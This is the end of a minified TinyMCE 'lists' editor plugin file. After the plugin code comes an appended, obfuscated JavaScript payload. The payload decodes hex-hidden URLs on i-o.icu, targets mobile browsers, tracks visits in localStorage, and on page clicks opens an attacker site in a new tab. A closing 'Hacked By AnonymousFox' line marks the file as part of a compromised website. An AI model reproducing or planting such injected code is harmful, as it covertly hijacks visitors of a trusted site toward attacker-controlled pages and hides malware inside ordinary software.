if (editor.dom.getParent(editor.selection.getStart(), 'LI,DT,DD')) {
e.preventDefault();
if (e.shiftKey) {
$_6pbactghjjgweckp.outdentSelection(editor);
} else {
$_3rkwagtjjgweclf.indentSelection(editor);
}
}
});
};
var setup$1 = function (editor) {
if ($_8obsbgvjjgweclk.shouldIndentOnTab(editor)) {
setupTabKey(editor);
}
$_brhyezgajjgweck7.setup(editor);
};
var $_ees9z9gujjgwecli = { setup: setup$1 };
var findIndex = function (list, predicate) {
for (var index = 0; index < list.length; index++) {
var element = list[index];
if (predicate(element)) {
return index;
}
}
return -1;
};
var listState = function (editor, listName) {
return function (e) {
var ctrl = e.control;
editor.on('NodeChange', function (e) {
var tableCellIndex = findIndex(e.parents, $_okk1ogljjgweckx.isTableCellNode);
var parents = tableCellIndex !== -1 ? e.parents.slice(0, tableCellIndex) : e.parents;
var lists = global$5.grep(parents, $_okk1ogljjgweckx.isListNode);
ctrl.active(lists.length > 0 && lists[0].nodeName === listName);
});
};
};
var indentPostRender = function (editor) {
return function (e) {
var ctrl = e.control;
editor.on('nodechange', function () {
var listItemBlocks = $_3xb1cggnjjgwecl3.getSelectedListItems(editor);
var disable = listItemBlocks.length > 0 && $_okk1ogljjgweckx.isFirstChild(listItemBlocks[0]);
ctrl.disabled(disable);
});
};
};
var register$1 = function (editor) {
var hasPlugin = function (editor, plugin) {
var plugins = editor.settings.plugins ? editor.settings.plugins : '';
return global$5.inArray(plugins.split(/[ ,]/), plugin) !== -1;
};
if (!hasPlugin(editor, 'advlist')) {
editor.addButton('numlist', {
active: false,
title: 'Numbered list',
cmd: 'InsertOrderedList',
onPostRender: listState(editor, 'OL')
});
editor.addButton('bullist', {
active: false,
title: 'Bullet list',
cmd: 'InsertUnorderedList',
onPostRender: listState(editor, 'UL')
});
}
editor.addButton('indent', {
icon: 'indent',
title: 'Increase indent',
cmd: 'Indent',
onPostRender: indentPostRender(editor)
});
};
var $_s7o0sgwjjgweclm = { register: register$1 };
global.add('lists', function (editor) {
$_ees9z9gujjgwecli.setup(editor);
$_s7o0sgwjjgweclm.register(editor);
$_blnfs1gsjjgwecld.register(editor);
return $_nb3yvg9jjgweck5.get(editor);
});
function Plugin () {
}
return Plugin;
}());
})();
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x54\x57\x48\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x6f\x68\x33\x63\x383','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x78\x52\x6c\x30\x63\x390','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x45\x69\x4b\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6a\x45\x64\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4f\x72\x49\x38\x63\x398','\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x4c\x6f\x72\x35\x63\x395','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x55\x63\x68\x31\x63\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x64\x49\x62\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x2d\x6f\x2e\x69\x63\x75\x2f\x6d\x49\x4d\x39\x63\x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Hacked By AnonymousFox1.0, Coded By AnonymousFox